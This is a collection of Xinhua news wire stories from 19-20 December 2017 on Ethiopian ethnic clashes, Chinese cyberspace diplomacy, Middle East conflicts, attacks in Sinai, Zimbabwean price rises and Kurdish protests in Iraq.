Janeva also saluted the Appellate Court decision over the use of wiretapped conversations as evidence in court proceedings.
Source: Xinhua| 2017-12-20 01:42:53|Editor: yan

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ADDIS ABABA, Dec. 19 (Xinhua) -- The number of people killed in recent clashes between ethnic Oromo and Somali communities now stands at 78, an Ethiopian official said on Tuesday.

The conflict, which occurred on Dec. 14 in Hawi Godina and Daro Labo districts in West Hararghe zone of Oromia regional state, was triggered by the death a prominent ethnic Oromo individual, said Negeri Lencho, of the Ethiopia Government Communications Affairs Office.

"On Dec. 14, ethnic Oromos returning from collecting food aid was ambushed on their way by gunmen thought to come from villages inhabited by ethnic Somalis, leaving 29 dead," Lencho told Xinhua.

The ambush also resulted in the burning of hundreds of houses and theft of the food aid. The area is hit hard by drought.

"Relatives of a prominent local person killed in the ambush carried out revenge attacks, killing at least 49 ethnic Somalis living in nearby settlements," Lencho said.

He said the government is working with religious figures and elders as well as regional officials to calm the situation.

On Dec. 11, a clash between ethnic Oromo protesters and soldiers in Chelenko area, East Hararghe zone, Oromia regional state is also thought to have aggravated tensions.

The protesters were protesting deadly raids allegedly carried out by police from the Somali regional state.

Sixteen people died in the clash, causing widespread anger in Ethiopia's Oromia regional state.

Oromia and Somali regional states have been locked in a dispute over the delineation of their common boundary for almost two decades.

A referendum in October 2004 was supposed to demarcate the boundary, but its implementation has been stalled with both sides accusing each other of non-compliance with the referendum results.

Fierce clashes along the Oromia-Somali boundary since September has spilled into ethnic violence, leaving scores of people dead and hundreds of thousands displaced.

The unrest is fueling fears about security in Ethiopia, east Africa's biggest economy.
Source: Xinhua| 2017-12-20 01:47:54|Editor: yan

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GENEVA, Dec. 19 (Xinhua) -- A Chinese diplomat said Tuesday that China's efforts to foster a new type of international relations and to build a community with a shared future for mankind can also apply in cyberspace.

Long Zhou, the Coordinator for Cyber Affairs of China's Ministry of Foreign Affairs, made the statement during a panel discussion on Cybersecurity at the 12th Internet Governance Forum being held in Geneva.

Long said all stakeholders and internet users are in the same boat, therefore cooperation is the only way to address the challenges in the cyberspace.

"All countries are interconnected and we belong to a community of shared future, so we can't bring war and instability into the cyber space," he said.

China, he said, is ready to work with all parties to put in place a multilateral, democratic and transparent global cyber order and foster a peaceful, secure, open, cooperative and orderly cyberspace.

Long said that for this purpose, the world should uphold the principle of peace and cooperation so as to foster new thinking based on common, comprehensive, cooperative, and sustainable security.

"Cyber space should be a place of peace with ability and prosperity. Without peace, we cannot have sustainable developments and security in cyber space," Long noted.

According to him, in order to promote cybersecurity, a set of just and equitable international rules will be needed, with the UN playing a leading role in this respect.

"In the long run, we should establish an open and inclusive process within the UN and advocate broader participation in developing rules for cyberspace," he said.

Speaking of possible cyber wars which described by some people as "the reality", the diplomat said that instead of accepting "that reality", countries should do everything they can to prevent it and the cyber arms race.

He told Xinhua that the world should learn from the history of disarmament in other fields and resist the danger of an arms race in cyberspace, so as not to repeat the mistake of "develop first and disarm later".

"Resorting to use of force, deterrence, pressure and sanctions will never guarantee security, rather, it may lead to strategic miscalculation and increase of the risk of conflicts," Long told Xinhua.
Source: Xinhua| 2017-12-20 01:47:55|Editor: yan

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DAR ES SALAAM, Dec. 19 (Xinhua) -- The United Nations Development Program (UNDP) on Tuesday reiterated its support in fighting illegal wildlife trade across the world.

In a statement issued in Tanzania's commercial capital Dar es Salaam, it said: "UNDP is fully behind global efforts to tackle poaching and the illegal trade of wildlife."

UNDP remained committed to this fight, working closely with governments, civil society, and the private sector to combat the illegal wildlife trade in both supply and demand countries, said the statement.

"UNDP condemns poaching in all its forms. The killing of any elephant is a crime," read the statement.

The statement said issues of corruption across the illegal supply chain of ivory remained one of the greatest challenges in the battle to protect elephants and safeguard the livelihoods and broader societal benefits these majestic creatures provided through tourism and other economic activities.

UNDP was committed to the highest standards of accountability and transparency, and has rigorous systems and procedures in place to prevent its funds being used for illegal purposes, said the statement.

UNDP has helped countries diversify rural livelihoods, manage human-wildlife conflict, strengthen protected area management, share the benefits from sustainable wildlife management with local communities, and strengthen enforcement responses, according to the statement.

WWF, the world's leading conservation organization, warned in July that rampant ivory poaching reduced the elephant population in Tanzania's oldest and largest protected area by 90 percent in fewer than 40 years.

Nearly 110,000 elephants used to roam the savannas, wetlands, and forests of Selous Game Reserve -- a World Heritage Site -- in the mid-1970s, said the WWF in its report, adding: "Now only 15,000 remain as criminals continued to kill the animals for their ivory tusks."
Source: Xinhua| 2017-12-20 01:52:56|Editor: yan

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by Mahmoud Fouly, Zheng Kailun

CAIRO, Dec. 19 (Xinhua) -- The restive Middle East region has gone through conflicts and disorders in the outgoing year 2017 with regional and international powers, alliances and blocs as key players, while earnest dialogue and unity are called for to find solutions to the region's chronic crises.

Extending from northern Africa to western Asia, the region has been the most tense worldwide throughout history, passing through a dozen of conflicts in the past few decades, including the Arab-Israeli wars, the Lebanese civil war, the Iraqi-Iranian war, the Iraqi invasion of Kuwait, the U.S. invasion of Iraq, the division of Sudan and the tribal conflicts in Yemen.

Over the past few years, particularly following the so-called Arab Spring uprisings that toppled some powerful Arab leaders, turmoil has further hit Syria, Iraq, Libya and Yemen, with Lebanon suffering political instability and the Palestinian-Israeli peace process facing a deadlock.

POLARIZATION

The world's two main big powers, the United States and Russia, are obviously key players in the regional developments, with both playing political and military roles along with their regional allies, to maintain their interests in the conflict-stricken region.

The United States under President Donald Trump, who took office in January 2017, showed massive support to its number one regional ally Israel, disregarding its settlement construction on occupied Palestinian territories, failing to exercise pressure on Israel to engage in a real peace process and finally recognizing the disputed holy city of Jerusalem as Israel's capital despite Arab and Islamic uproar.

Receiving hundreds of billions of dollars, Washington vowed support for its oil-rich Gulf allies led by Saudi Arabia against Iran, Russia's regional ally that is criticized by the United States and the West for its nuclear program.

Sunni Saudi Arabia and Shiite Iran are considered main regional rivals, with each attempting to expand influence through allying with rival big powers and regional players. Since March 2015, a Saudi-led Arab alliance has been launching airstrikes against the Iran-backed, Shiite Houthi rebels in Yemen, a group that helped overthrow of Yemeni President Abd-Rabbu Mansour Hadi and recently killed former President Ali Abdullah Saleh after he turned against them.

On the other hand, Russia, supported by Iran and its loyal ally Hezbollah in Lebanon, uses its weight and power to protect the Syrian regime of Bashar al-Assad, with Russian troops fighting side by side with the Syrian army against what they refer to as terrorist groups.

Demanding removal of Syria's Assad and seeking to exercise pressure on Iran and Hezbollah, Saudi Arabia played a role in the recent resignation of Lebanese Prime Minister Saad al-Hariri, who blamed Iran and Hezbollah for it in a televised speech from Riyadh, although he later went back on the resignation.

"Polarization is so big in many countries of the region that has reached a hard stage of conflict due to the different interests of world powers. So, there is a need to engage in real dialogue between the region's states, while Western states should limit their interference in the region and their conflict on its soil," Al-Ahram editor-in-chief Alaa Sabet told Xinhua in a recent interview.

With regards to China as a rising big power, the giant Asian country approaches the Middle East differently and practically, based on mutual economic interests, win-win development of regional developing states and non-interference in other countries' domestic affairs, stressing that development and dialogue are the main axes for resolving regional conflicts.

"The Chinese role is very important. China has a lot of relations and interests in the region and a real and big desire for openness towards the Middle East, which is very important," Sabet said, adding that "China diplomatically is doing very well and it approaches the region with very well-studied steps."

COUNTERTERRORISM

Countering global terrorism, a U.S.-led international alliance, mainly involving the United States and other Western countries besides some Arab states, started in 2014 airstrikes against targets of the Islamic State (IS) terrorist group in Iraq and Syria.

Hence, the Middle East region has become the battlefield of a U.S.-led international anti-terror alliance, a Russian-led alliance including Syria, Iraq and Iran and a Saudi-led anti-Shiite Arab alliance against the Houthis in Yemen, with members of each coalition seeking to preserve their own interests.

With the IS defeat and decline in Raqqa and Mosul, the group's de facto capitals in Syria and Iraq, the IS militants are expected to flee and seek shelter with their fellows in Libya and Egypt, where their affiliates have proved strong presence.

In Egypt, for instance, the IS claimed most of the terror attacks that killed hundreds of policemen and soldiers as well as dozens of the Coptic minority since the former Islamist President Mohamed Morsi, together with his currently outlawed Muslim Brotherhood group, was toppled in July 2013 due to mass protests against his one-year rule.

On Nov. 24, a terrorist attack against a mosque in North Sinai killed at least 310 Muslim worshippers and wounded over 120 others, marking the deadliest terror operation and the first against a Muslim mosque in Egypt's modern history. But no group has yet claimed responsibility for this one.

The Egyptian leadership under President Abdel-Fattah al-Sisi has been engaging in an anti-terror war over the past few years, accusing the Brotherhood of being behind all terrorist operations that took place in the country since Morsi's removal, and Qatar of supporting terrorism, sheltering Brotherhood members and interfering in the Egyptian domestic affairs.

The rift led Egypt to join a Saudi-led blockade against Qatar in early June, cutting its diplomatic ties and economic cooperation with Qatar to pressure the rich emirate to give up its support for the Brotherhood and generally to stop interfering in other countries' domestic affairs, a charge that has been repeatedly denied by Qatar.

The outgoing year has also seen greater world concern for achieving stability in Libya via political dialogue between major Libyan rival parties, while Egypt is keeping a close watch on its 1,200 km western border with eastern Libya that has been a smuggling destination of arms and militants over the past few years.

Libya is torn by a civil war and run by two rival administrations, one in the capital Tripoli northwestern the country and the other in Tobruk city in the northeast, which makes the North African country a suitable incubator for IS militants.

In early November, Egypt arrested a Libyan militant who was involved in a recent anti-police deadly attack in a desert area southern the capital Cairo. Being the only survivor of security raids following the anti-police attack, the Libyan militant confessed that his group leader was an Egyptian affiliated with al-Qaida and that all other members of the group were killed in the raids.

Terrorism and political disorder in the region are closely interrelated, as terrorists find chaotic spots most suitable for their activities and recruitments, as clearly seen in war-torn Syria, Iraq, Libya and Yemen.

Since most of the terror groups claimed themselves as Islamists and justified their violence by misleading and deceptive interpretations of Islamic texts, the Palestinian cause and the Israeli occupation of the disputed holy city of Jerusalem are among the main reasons for growing regional and global terrorism.

In Egypt's North Sinai governorate for example, the IS-affiliated terrorist group that carried out most of the attacks over the past few years referred to itself in the beginning as "Ansar Bayt al-Maqdis," meaning "Supporters of Jerusalem," before changing its name to "Walayat Sinai" meaning "Sinai State" or "Sinai Province" and declared loyalty to the IS.

This is why Trump's decision to recognize Jerusalem as Israel's capital is expected by many to foster extremist thoughts although it is not an excuse for extremism.

Generally, many experts believe that the 2003 U.S. invasion of Iraq sowed the seeds for the growth of terrorist groups as well as the general chaotic situation in the Middle East region afterwards.

"The regional issues are interrelated and highly complicated. At many times, it is in favor of some countries like the United States that such regional disorders continue. The United States complicates regional conditions for its own interests," Sabet said.

WAY OUT

Years of prolonged chaos and miseries have shown that the use of force and military actions will not solve the Middle East crises and conflicts, but only aggravate them. So the problems could only be tackled in different approaches: namely, the political and economic ways.

Most regional states are Arabs, yet polarizations and conflicting interests disbanded them into a fragile bloc that occasionally gather at the Cairo-based Arab League headquarters at times of emergency with no real effective outcomes on the ground.

Inter-Arab dialogue and unity are a prerequisite for regional settlements, as a united Arab nation would be a significant power to push forward for long-awaited solutions and to be reconsidered by big powers upon making any decisions related to the region.

Regional powers, such as Saudi Arabia and Iran, also need to rationalize and prioritize the region's security and stability over narrow interests, which only serve to escalate the situations in Syria, Iraq, Lebanon and Yemen.

Development and economic growth, in turn, are basic factors for regional security and stability, given that the Middle East region in general and the Arab world in particular have sufficient resources for mutual fruitful economic cooperation that would limit chances for polarization, disorder and terror.

"As 2017 was a year full of regional challenges and conflicts, we hope that 2018 will be a year of Arab-Arab and Islamic-Islamic closeness and unity in order to face such challenges," Sabet said.
Source: Xinhua| 2017-12-20 01:52:56|Editor: yan

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ALGIERS, Dec. 19 (Xinhua) -- Visiting Qatari Foreign Minister Sheikh Mohamed Bin Abdulrahman Al-Thani on Tuesday held talks with Algerian Prime Minister, Ahmed Ouyahia, to discuss economic partnership and Jerusalem issue, said a statement of the premiere's office.

The two officials discussed ways to boost bilateral relations, and prevailing issues in the Arab region, including the recent decision of U.S. President Donald Trump to recognize Jerusalem as Israel's capital.

The Qatari foreign minister, who is also the deputy prime minister, arrived late on Monday to Algiers, as he met with Algerian Foreign Minister Abdelkader Messahel.

Following this meeting, the Qatari top diplomat told reporters that his visit to Algeria aims at reinforcing bilateral cooperation in all fields, especially in industry, agriculture and tourism.

He further revealed that the iron and steel mega plant that Qatar established in the locality of Balara in the eastern province of Jijel, will soon be inaugurated.

The Qatari foreign minister further indicated that his nation works on entering the African market through cooperation with Algeria and African countries, stressing the importance to benefit from Algeria's experience in many fields in this continent.

They also discussed the situation in the Middle East, including in Palestine, as the Qatari diplomat noted that both countries express their firm support for the right of the Palestinian people "to establish a Palestinian state on the 1967 borders with East Jerusalem as capital."

He further noted that that the decision of President Trump is "an obstacle to the peace process" in the region.
Source: Xinhua| 2017-12-20 02:02:59|Editor: yan

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CAIRO, Dec. 19 (Xinhua) -- An officer was killed and two others wounded in a terrorist attack on an airport in Arish city of North Sinai province bordering Israel and the Palestinian Gaza Strip, an Egyptian military spokesman said on Tuesday.

"A shelling attack targeted Arish airport, leaving an officer dead and two others wounded and causing partial damage of one of the helicopters," said the military spokesman Tamer al-Refaay in a statement.

The attack came during the visit of the defense and interior ministers to check on the security conditions in Arish city, according to the statement.

Terror attacks in Egypt killed hundreds of policemen and soldiers as well as dozens of the Coptic minority since the military toppled former Islamist President Mohamed Morsi in July 2013 due to mass protests against his one-year rule and his currently outlawed Muslim Brotherhood group.

Most of the attacks were claimed by a Sinai-based terrorist group loyal to the Islamic State (IS) regional group.

On Nov. 24, a terrorist attack against a mosque in a town of Arish city killed at least 310 Muslim worshippers and wounded over 120 others, marking the deadliest terror operation and the first against a Muslim mosque in Egypt's modern history. But no group has yet claimed responsibility for this one.

Following the mosque attack, Egyptian President Abdel-Fattah al-Sisi ordered the army's chief of staff to restore security and stability in the restive part of the Sinai Peninsula within three months.

Over the past few years, the Egyptian security forces have killed hundreds of terrorists and arrested a similar number of suspects during the country's anti-terror war declared by President Sisi, the army chief then, following Morsi's ouster.
Source: Xinhua| 2017-12-20 02:13:00|Editor: yan

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HARARE, Dec. 19 (Xinhua) -- The Consumer Council of Zimbabwe (CCZ) is engaging producers of basic commodities with a view to establishing the causes of on-going price hikes and seeing how long-term solutions can be found to protect consumers from unnecessary costs.

CCZ executive director Rosemary Siyachitema said in an interview that prices had been on a steady increase since May, but recent hikes in December had left consumers worse off.

"If you look at economy beef it used to be 3.80 U.S. dollars per kilogram but now it is between 6 dollars and 8 dollars per kg. The same with pork and dried fish. In fact all meat products are going up and you are just seeing a consumer who is overburdened, especially during the festive season," she said.

Siyachitema said CCZ, together with Minister of Industry, Commerce and Enterprise Development Mike Bimha, had been meeting various stakeholders over the past two days to establish why the prices were going up.

They met bakers on Monday who had increased bread prices by 10 cents to 1 dollar a loaf citing problems along the value chain.

The meeting resolved that the bakers revert to 90 cents per loaf with effect from Tuesday, the same day CCZ and government met producers in the meat industry.

"Again you see that they have problems along the value chain. But I think what is important is that we should change the way we do business. The reason why business is in business is because of consumers. It is not right for business to profiteer from consumers," she said.

Retailers have been hiking prices over the past few months but there have been sharp increases in recent weeks.

Cooking oil, for instance, has gone up from between 3.50 dollars and 4 dollars to between 4.40 dollars and 4.50 dollars while other commodities such as rice and detergents have also been on an upward spiral.

Fuel prices have also been on an upward spiral with petrol just 1 cent from breaching the 1.40 per liter mark.

Some retailers have different prices for cash and mobile banking, with consumers using plastic money paying more for goods.

Siyachitema said long-term solutions are needed to ensure that prices are kept low and that businesses do not have to encounter a lot of impediments such as shortage of foreign currency needed to procure some of the raw materials.

"A lot of things have been causing impediments. We might not get results tomorrow but we are interrogating how these prices are arrived at and also ensuring that industry is assisted," she said.

President Emmerson Mnangagwa on Monday night condemned the price increases and warned that the practice would not be allowed to continue.

"Government notes with concern the existence of a multi-tier pricing system and this cannot go unabated.

"We need to examine our modus operandi as captains of industry and commerce if we are ever going to move forward," he said.

He said government wanted to protect the rights of consumers and would not tolerate the hiking of prices without justification by dealers and business people.

"I urge our wholesalers and retailers, as we approach this festive season, to refrain from profiteering by charging unscrupulous prices and never to put measures that may derail our efforts for a quick turnaround of the economy."

Harare resident Peter Kuwana said the increases in the prices of basic commodities would affect many people during the festive season.

"I am only buying basic necessities but even these are very expensive. The festive season is not turning out to be one of spending and merrymaking but one of saving the little money that we have," he said.

Costa Mubaiwa said he would try to do the best for his family under the circumstances.

"It will be less of everything but I will try and make sure that the family shares the rice, beef and chicken that will be available. Christmas is a very important date on the calendar, so it would be unfair to deprive especially your children on this special day," he said.
Source: Xinhua| 2017-12-20 02:13:01|Editor: yan

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ADDIS ABABA, Dec. 19 (Xinhua) -- The Ethiopian government on Tuesday called on students to return to classes in unrest-hit universities.

Minister of Ethiopia Government Communications Affairs Office Negeri Lencho said the federal government is working with regional governments to calm the situation after four students were confirmed to have been killed in unrest in three universities.

He rejected claims by activists that the toll is higher.

Clashes between university students on Dec. 10-11 at the universities also left several other students dead injured.

The unrest seems to have significantly eased in recent days but scores of students in various universities have reportedly left their campuses for fear of violence.

"As a precaution to avoid deadly incidents, the Ethiopian government... has advised students in unrest-hit universities to stay in their dorms after 8 p.m.," Lencho said.

In recent years, Ethiopia's higher education institutions have become scenes of violence between students over ethnic and religious differences.
Source: Xinhua| 2017-12-20 02:18:02|Editor: yan

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TEHRAN, Dec. 19 (Xinhua) -- Iranian Foreign Minister Mohammad Javad Zarif left Tehran for Azerbaijan's capital Baku on Tuesday to attend the fifth trilateral meeting with his Azeri and Turkish counterparts, Press TV reported.

Zarif and his Azeri counterpart Elmar Mammadyarov along with Turkish FM Mevlut Cavusoglu will exchange views on a broad range of issues in various economic fields, including transit, transportation, energy and customs, according to the report.

They will also exchange views about issues of common interest in technical and trade sectors as well as political and regional cooperation, particularly ways to promote peace and stability in the region.

On Monday, the Turkish Foreign Ministry said the three foreign ministers would discuss ways to enhance cooperation on the basis of common interest and consolidate regional prosperity, stability and security.

Also, Azerbaijan's Foreign Ministry said Zarif, Mammadyarov and Cavusoglu would hold a joint press conference after their meeting.

The fourth session of trilateral meeting was held in the Iranian city of Ramsar in the northern Mazandaran Province in April 2016. At the end of the session, foreign ministers of Iran, Azerbaijan and Turkey issued a statement and signed two documents to strengthen trilateral cooperation and improve peace and security in the region.
Russian security officers work at the site of an explosion near a bus stop at Michurinsky Avenue in Moscow, capital of Russia, Moscow March 9, 2011. (Xinhua/Lu Jinbo)

MOSCOW, Dec. 19 (Xinhua) -- Terrorists from the Middle East are attempting to penetrate countries of the former Soviet Union after defeats in Syria and Iraq, said the head of a national security body in Russia on Tuesday.

"The main center of their concentration is Afghanistan," said Alexander Bortnikov, Director of the Russian Federal Security Service, at a meeting of the Council of the Heads of Security Bodies and Special Services of the Commonwealth of Independent States (CIS).

Bortnikov said terrorists, including citizens of Russia, Central Asia, Europe and North Africa, are moving from Afghanistan to countries of the former Soviet Union via Central Asia.

He said terrorists with forged documents or disguised as refugees, labor migrants and tourists are trying to penetrate Russia and other CIS countries using the visa-free regime or other simplified mechanisms for crossing Central Asian borders.

According to information received by security agencies, about 20,000 citizens of the CIS countries are suspected of involvement in terrorist and religious extremist organizations, he said.

So far, 11 channels of terrorists transferring from the war zone in Syria to CIS countries have been identified and blocked, Bortnikov said.

He said terrorists are changing their tactics to "autonomous jihad", individually targeting civilians, law enforcement officers and urban and social infrastructure.

Bortnikov said a number of terrorist acts, including attacks on diplomatic missions, have been prevented in Russia and Central Asia.

About 300 people suspected of involving in terrorist activities have been transferred by the Russian security authorities to CIS partners, he said.
Source: Xinhua| 2017-12-20 02:58:08|Editor: yan

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MAPUTO, Dec. 19 (Xinhua) -- The Mozambican government approved on Tuesday in Maputo a contingency plan worth 16 million U.S. dollars to cope with natural disasters in 2018.

The information was given by the government's spokeswoman Ana Comoana to the press at the end of the last ordinary session of the Council of Ministers.

She said that the amount "is intended for monitoring and issuing pre-warnings about calamitous events, as well as the prepositioning of material and human resources in places subject to natural disasters."

"This amount is also intended for search and rescue operations and humanitarian assistance to population at risk, which is above one million people," said the spokeswoman.

She added that between October and November, rains in the country affected at least 19,000 people and destroyed 4,000 homes.

"Some of these houses were partially damaged and many totally destroyed. Meanwhile, nearly 500 houses were flooded, including more than 200 classrooms and 10 health units," she said.
Source: Xinhua| 2017-12-20 03:03:09|Editor: yan

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BEIRUT, Dec. 19 (Xinhua) -- The European Union (EU) High Foreign Policy Chief Federica Mogherini arrived Tuesday in Lebanon for talks with top officials, reaffirming partnership with and support for Beirut, said an EU statement.

The senior EU official's second visit here this year shows "the EU's strong and long-standing partnership with Lebanon," the statement added.

The EU "will continue to support Lebanon in meeting the challenges that lie ahead, and remain committed to the country's unity, sovereignty and territorial integrity," it said.

Mogherini will meet with Prime Minister Saad Hariri Tuesday evening for talks on "the latest developments in Lebanon and the region and means to support Lebanon in the face of the repercussions of the Syrian refugee crisis."

The EU official and Hariri will then hold a joint press conference to talk about the outcome of the meeting.

Mogherini is also scheduled to meet with President Michel Aoun and Speaker Nabih Berri during the visit.
Source: Xinhua| 2017-12-20 03:08:10|Editor: yan

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KHARTOUM, Dec. 19 (Xinhua) -- President of Rwanda Paul Kagame is to begin on Wednesday an official visit to Sudan at an invitation by his Sudanese counterpart Omar al-Bashir, Sudan's Foreign Ministry announced Tuesday.

"Presidents al-Bashir and Kagame will hold an official session of talks to discuss bilateral ties and means of developing them in addition to regional and international issues of mutual concern," the ministry said in a statement.

The president of Rwanda would be accompanied by foreign, defense and trade ministers, it added.

According to the statement, a memorandum of understanding would be signed between the two countries' foreign ministries.

"Rwanda is one of the African countries which have been firmly and strongly standing alongside Sudan in its just causes at the regional and international forums," the ministry said.

Sudan's Foreign Ministry also praised Rwanda's achievement of stability and development in a short period of time with the leadership of President Kagame.

The two sides are also expected to sign an agreement on establishment of a joint political consultation committee.
Source: Xinhua| 2017-12-20 03:13:11|Editor: yan

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BEIRUT, Dec. 19 (Xinhua) -- Lebanon's Prime Minister Saad Hariri strongly condemned Tuesday the firing of a ballistic missile at Saudi capital Riyadh by Yemen's Iran-backed Houthi rebels, saying it "exacerbates existing divisions and conflicts."

"The repeated targeting of Saudi territory by missile attacks from Yemeni territory does not only threaten the security of the kingdom and the safety of its people, but also exposes the region to serious dangers and exacerbates existing divisions and conflicts," Hariri said in a statement released by his media office.

He added that "we strongly condemn such attacks and stress the need to abandon these aggressive methods and refrain from policies that fuel conflict."

Hariri also called for "resorting to the path of dialogue to solve the difficult problems."

Earlier on Tuesday, Saudi Arabia said it shot down a ballistic missile over Riyadh fired from Yemen by Iran-backed Houthi rebels, who announced that the target was the official residence of King Salman.

For the past three years Saudi Arabia has led a military campaign involving airstrikes and ground troops against the Houthis, who seized the Yemeni capital from the internationally recognized government in 2014.

The kingdom accuses the Shiite rebels of being a proxy for its arch foe Iran, which vehemently denies arming the insurgents.
Source: Xinhua| 2017-12-20 03:28:17|Editor: yan

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PARIS, Dec. 19 (Xinhua) -- French President Emmanuel Macron on Tuesday said Paris sole priority in Syria was to eradicate the terrorists, rebuffing Syrian leader Bashar al-Assad who accused France of sponsoring terrorism.

"On the military front, we have a priority which is war against Daesh (Islamic State) and that's why his (Assad's) statements are unacceptable because if there is someone that has fought and can defeat Daesh ... it is the international coalition," said Macron at a joint press meeting with NATO Secretary General Jens Stoltenberg.

"All the others had ambiguities. All the others had priorities. It was to strike their opponents, not to strike the terrorists. We have been consistent from the beginning because we have an enemy which is Daesh," he added.

In 2015, France joined a U.S.-led coalition to combat the terrorist group in Syria.

During a television interview, Macron on Sunday expected the international military offensive would meet its target of liberating Syrian territories from the terrorist group by the middle of February 2018.

On Monday, al-Assad said, "France spearheaded supports for terrorism ... those who support terrorism have no right to talk about peace," referring to Macron's initiative for peace talks involving all rival Syrian parties.

His remarks came after Macron said that it was "necessary" to speak with the Syrian government to build peace in the country "even if (Bahar al-Assad) has to answer for his crimes".

Breaking out in 2011 and then quickly turned into a full-fledged war, the Syrian armed conflict has entered into its seventh year. So far UN figures showed that the Syria war has killed more than 330,000 people and displaced millions.
Source: Xinhua| 2017-12-20 03:33:19|Editor: yan

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KUWAIT CITY, Dec. 19 (Xinhua) -- Kuwait strongly condemns Houthis' firing of a ballistic missile against Riyadh, the capital of Saudi Arabia, the Kuwaiti Foreign Ministry said on Tuesday.

"This cowardly act, which aimed at terrorizing civilians, shows again how the Houthis were defying the will of the international community, violating the UN resolutions, and undermining security and stability of the region," a foreign ministry source said on condition of anonymity.

Kuwait stands fully behind Saudi Arabia and supports all measures aimed at preserving security and stability, the source noted.

Kuwait is committed to supporting the legitimate leadership in Yemen, he added.

Yemen's Houthi movement on Tuesday announced firing of a ballistic missile towards Saudi royal palace in Riyadh, Houthi-controlled Saba news agency reported.
Source: Xinhua| 2017-12-20 03:38:21|Editor: yan

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NEW YORK, Dec. 19 (Xinhua) -- A man was shot dead early Tuesday morning outside of a bar in Times Square, New York city, local media reported.

The man was shot in the head outside of Tonic Bar on Seventh Avenue at 48 Street at around 4 a.m. local time. Police said the shooting started after the victim had some kind of dispute with another man, said local media.

The victim was taken to a hospital where he was pronounced dead.

Police have not revealed the identity of the victim or the suspect.

The suspect is still on the run. Police investigation is under way.

New York city's landmark Times Square has made breaking news for several times this year.

On Dec. 11, four people were injured after a man set off an improvised explosive device at the city's busiest commuter hub near Times Square during rush hour. Mayor Bill de Blasio called the incident an attempted terrorist attack.

On May 18, one person was killed and 22 others were injured when a car plowed into pedestrians in Times Square.
Source: Xinhua| 2017-12-20 03:38:21|Editor: yan

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JOHANNESBURG, Dec.19 (Xinhua) -- South African business community said Tuesday they expect the newly elected ANC leaders to address the country's economic growth, among other challenges.

"The economy is not growing the way we would like it to grow. The outcome of this conference should go beyond leadership giving us direction on policy certainty and how to improve our economy," Gregory Mofokeng, CEO of the Black Business Council's building sector, told Xinhua.

Mofokeng said they also expect the leaders to implement the party's resolutions like making the country a construction site which have not been put into practice.

He added that the Competition Commission takes long to investigate and fine the wrong doers. He also pointed out that the delay in investigation keeps entrants into the sector waiting.

"We want the government to attract the private sector to invest to keep the economy going. The private sector is not eager to invest more raising the policy uncertainty as an excuse. We also want them to implement many of their policies," he said.

Dipelaelo Sehloho of Palesa and Associates told Xinhua that the major task of the ANC leaders is to address the economic challenges as the ruling party in government.

Palesa and associates are involved in construction, security, furniture, manufacturing and catering.

Sehloho said he expects the new leaders to have continuity to build on where other leaders left. "We expect them to ensure there is economic growth and make our country competitive to compete with other countries of the world. We expect them to also address challenges affecting the party like the poverty and unemployment."

Sehlolo said he also expects the country to be run smoothly with less drama particularly in parliament.

Itumeleng Matlaila, an upcoming entrepreneur, said that he expects the ruling party to implement its policies for the good of the country and benefits its citizens.

On Monday the ANC elected the top six leaders at the elective conference taking place in Johannesburg. On Tuesday evening they were electing the 80 members of the national executive council.
Source: Xinhua| 2017-12-20 03:43:22|Editor: yan

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KAMPALA, Dec. 19 (Xinhua) -- After only two and a half years of plying the Abu Dhabi-Entebbe route, Etihad airways has thrown in the towel.

In a statement issued on Tuesday, the United Arab Emirates (UAE) national carrier said the cancellation of the Entebbe service will start March 25, 2018. Etihad launched its services between Abu Dhabi and Entebbe in May 2015.

The carrier offered options to passengers who had purchased tickets on/before Dec. 18 for travel on/after March 25, 2018 that included rebooking/rerouting and cancellation refund.

"For partially or fully unused tickets, re-booking/rerouting is available on EY and Kenyan Airways (via the Jomo Kenyatta International Airport, code named NBO)," the statement read.

"Any date change fee as well as fare differences arising from the rerouting/re-booking is waived for this one instance only," it added.

The announcement comes on the heels of a reduction in flight frequency on the Johannesburg-Entebbe route by South African Airways (SAA) recently.

Effective September, SAA reduced the frequency of flights on the route from seven to six effective Sept. 29.

Yogi Biriggwa, SAA's Uganda country manager, described the frequency reduction as normal in the aviation industry but said this is in most cases driven by demand for the services.

Also, British Airways opted out of the London-Entebbe route over economic unviability of the route.

Despite increasing number of passengers arriving at the Entebbe International Airport, airlines' profitability margins have come under increasing pressure as several other international airlines have flocked to the country, according to experts.
Source: Xinhua| 2017-12-20 03:48:24|Editor: yan

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BAGHDAD, Dec. 19 (Xinhua) -- Iraqi Prime Minister Haider al-Abadi Tuesday called on the authorities of the semi-autonomous region of Kurdistan to respect peaceful protests, warning that the central government will take action if any protester is attacked in the demonstrations.

"We call on the authorities of Kurdistan region in northern Iraq to respect peaceful demonstrations. We would not stand idly by if any citizen in the region was attacked," Abadi said in a televised press conference after his weekly cabinet meeting.

Also on Tuesday, the Kurdish regional parliament said in a statement that demonstration is a legitimate right for the citizens and they have the right to protest and demand in a peaceful way.

"While we affirm our support for the legitimate rights of citizens, we call upon the demonstrators to express their legitimate demands in peaceful and civilized means," the statement said.

The demonstrators should "avoid violence and burning the buildings of the official and service institutions, because they are public property, and citizens are the biggest losers by such practices," the statement added.

Abadi's comments and the Kurdish parliament statement came in the second day of massive demonstrations in several cities and town in Sulaimaniyah province in northeastern Iraq over unpaid salaries and corruption.

Earlier in the day, heavy casualties in the town of Rania in Sulaimaniyah province when the security forces opened fire and used tear gas after protesters torched offices of the Kurdish parties, leaving five people killed and some 80 others wounded, according to Taha Mohammed, spokesman of the town's health office.

Clashes also erupted in the city of Sulaimaniyah when the security forces fired rubber bullets and used tear gas to disperse the demonstrators, with people admitted to hospital for suffocation and rubber-bullet wounds.

In the morning, hundreds of angry protesters reportedly took to the streets in at least six cities in the province of Sulaimaniyah in northeastern Iraq.

The protesters torched the local government building in the town of Kwaisanjaq on the provincial border with neighboring Erbil, the capital of the Kurdish region.

They also attacked and set fire to the offices of the Kurdish parties, including the major parties of Kurdish Democratic Party (KDP) and the Patriotic Union of Kurdistan (PUK), in several cities in Sulaimaniyah.

Protesters threw stones on many government buildings and parties' offices, prompting the security forces to use tear gas in an attempt to disperse the crowds.

Hundreds of Kurdish security forces were deployed in the provincial cities, while attempting to avoid clashes with protesters.

The protests were sparked by frustration over unpaid salaries to teachers and other civil servants, in addition to the deterioration of basic services and widespread corruption.

The provinces of the Kurdistan region have been suffering from financial and economic hardships as a result of disagreement with the federal government in Baghdad over distribution of crude oil revenues extracted from the northern oil fields.

The financial hardship has increased after the Iraqi forces retook control of the oil-rich province of Kirkuk and some other oil wells in the disputed areas on Oct. 16.

